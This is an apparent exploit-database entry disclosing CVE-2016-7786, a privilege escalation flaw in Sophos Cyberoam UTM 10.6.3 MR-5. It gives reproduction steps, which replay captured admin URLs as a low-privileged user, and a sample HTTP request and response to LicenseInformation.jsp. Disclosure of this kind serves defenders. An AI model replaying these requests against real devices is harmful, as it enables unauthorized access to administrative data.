Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5 Insecure Direct Object Reference

Sophos Cyberoam UTM CR25iNG version 10.6.3 MR-5 suffers from an insecure direct object reference vulnerability.

MD5 | b375e5f4469c3658c298319608dcbea6

# Exploit Title: Sophos Cyberoam UTM - Privilege Escalation
# Date: 31/08/2016
# Exploit Author: Chintan Gurjar (Frogy)
# Vendor Homepage:
# Software Link:
# Version: Cyberoam CR25iNG - 10.6.3 MR-5
# CVE : CVE-2016-7786
# Category : Webapps
# CVSS Score: 9.3

A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.
The weakness was released 04/07/2017. The advisory is shared for download at The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known.
Upgrading to version 10.6.5 eliminates this vulnerability.

Steps to reproduce
1. Login with admin user account.
2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs.
3. Logout and login with a low privileged user account who does not have even read/write/execution permission.
4. Access saved admin functionality URLs with a low privileged user account.
5. Access the admin information from the user account.

Video Demonstration


GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;1=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73
Connection: close


HTTP/1.1 200 OK
Date: Wed, 31 Aug 2016 06:59:56 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=2592000
Expires: Fri, 30 Sep 2016 06:59:56 GMT
Vary: Accept-Encoding
Content-Length: 1828
Connection: Close


<table width="100%" cellpading="1" cellspacing="1">
<td class="tableheader_gadget" align="center"><label
<td class="tableheader_gadget" align="center"><label

Affected URLs
...Many others...


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